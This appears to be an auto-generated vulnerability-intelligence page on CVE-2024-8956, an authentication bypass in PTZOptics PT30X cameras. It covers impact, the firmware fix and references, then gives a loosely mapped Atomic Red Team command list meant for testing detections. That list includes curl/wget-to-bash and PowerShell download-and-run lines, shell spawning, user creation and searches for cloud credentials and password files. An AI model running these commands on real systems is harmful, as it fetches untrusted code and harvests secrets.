CVE-2024-8956
Overview
This vulnerability is an authentication bypass affecting the PTZOptics PT30X-SDI and PT30X-NDI-xx firmware prior to version 6.3.40. The root cause is insufficient enforcement of HTTP Authorization headers on the /cgi-bin/param.cgi endpoint, allowing unauthenticated requests to access sensitive parameter handling functions. The affected component is the camera's web interface CGI parameter management module, which fails to validate authentication tokens properly before processing configuration requests.
Vulnerability Description
PTZOptics PT30X-SDI/NDI-xx before firmware 6.3.40 is vulnerable to an insufficient authentication issue. The camera does not properly enforce authentication to /cgi-bin/param.cgi when requests are sent without an HTTP Authorization header. The result is a remote and unauthenticated attacker can leak sensitive data such as usernames, password hashes, and configurations details. Additionally, the attacker can update individual configuration values or overwrite the whole file.
Impact
An unauthenticated remote attacker can exploit this flaw without any user interaction or credentials. The attacker can exfiltrate sensitive information including usernames, password hashes, and detailed device configurations. Additionally, the attacker can modify configuration settings or completely overwrite configuration files, potentially disrupting device operation or enabling further compromise. This leads to exposure of confidential data and loss of device integrity, which can impact network security and operational reliability in environments relying on these cameras.
Solution
Users should upgrade PTZOptics PT30X-SDI and PT30X-NDI-xx devices to firmware version 6.3.40 or later, as detailed in the vendor's official firmware changelog at https://ptzoptics.com/firmware-changelog/. This update includes the necessary authentication enforcement fixes for the /cgi-bin/param.cgi endpoint. No alternative workarounds are specified; applying the firmware update is required to remediate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the PTZOptics PT30X-SDI/NDI-xx series cameras stems from an insufficient authentication mechanism that allows unauthorized access to sensitive configuration files. Specifically, the camera's firmware prior to version 6.3.40 fails to enforce proper authentication checks on the /cgi-bin/param.cgi endpoint. This oversight permits an attacker to send requests without an HTTP Authorization header, thereby bypassing authentication controls. As a result, an attacker can gain access to critical information, including usernames, password hashes, and various configuration settings, which could be exploited for further malicious activities.
Exploitation of this vulnerability can occur through several attack vectors. An attacker could initiate a remote attack by crafting HTTP requests that target the vulnerable endpoint. By leveraging tools that automate HTTP requests, an attacker can easily extract sensitive data from the camera's configuration files. Furthermore, the ability to modify configuration values or overwrite the entire configuration file poses a significant threat. An attacker could change settings to redirect video feeds, disable security features, or even integrate the camera into a botnet for further exploitation. This type of attack is particularly concerning for organizations that rely on these cameras for security and surveillance, as it could lead to unauthorized access to sensitive areas and the potential for data breaches.
The real-world impact of this vulnerability is substantial, particularly for businesses that utilize these cameras in critical operations. The risk extends beyond mere data leakage; it encompasses the potential for reputational damage, financial loss, and legal ramifications. For instance, if an attacker were to manipulate camera settings to create blind spots in surveillance, it could facilitate theft or vandalism, resulting in significant financial repercussions. Moreover, organizations may face compliance issues if sensitive data is exposed, leading to potential fines and loss of customer trust. The high CVSS score of 9.1 indicates that this vulnerability is not only severe but also requires immediate attention from affected organizations to mitigate the associated risks.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest version is crucial, as it addresses known vulnerabilities and enhances overall security. Additionally, organizations should conduct routine security assessments and penetration testing to identify potential weaknesses in their systems. Implementing network segmentation can also help isolate vulnerable devices, limiting the attack surface. Furthermore, monitoring network traffic for unusual patterns or unauthorized access attempts can provide early warning signs of exploitation attempts. Employing robust authentication mechanisms, such as multi-factor authentication, can further strengthen security and reduce the likelihood of unauthorized access.
In conclusion, the insufficient authentication issue in the PTZOptics PT30X-SDI/NDI-xx cameras represents a significant security risk that can lead to unauthorized access and manipulation of sensitive data. The potential for exploitation through remote attacks necessitates immediate action from affected organizations to safeguard their assets. By adopting proactive detection and mitigation strategies, businesses can enhance their security posture and protect against the myriad threats posed by such vulnerabilities.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ptzoptics | Pt30x-Sdi Firmware | All |
cpe:2.3:o:ptzoptics:pt30x-sdi_firmware:*:*:*:*:*:*:*:*
|
|
|
Ptzoptics | Pt30x-Ndi-Xx-G2 Firmware | All |
cpe:2.3:o:ptzoptics:pt30x-ndi-xx-g2_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-8956 |
| ptzoptics.com |
GitHub CVE
vendor-advisory
|
https://ptzoptics.com/firmware-changelog/ |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://vulncheck.com/advisories/ptzoptics-insufficient-auth |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-8956 |
| greynoise.io |
NVD API
Third Party Advisory
|
https://www.greynoise.io/blog/greynoise-intelligence-discovers-zero-day-vulnerabilities-in-live-streaming-cameras-with-the-help-of-ai |
| labs.greynoise.io |
NVD API
Exploit
Third Party Advisory
|
https://www.labs.greynoise.io/grimoire/2024-10-31-sift-0-day-rce/ |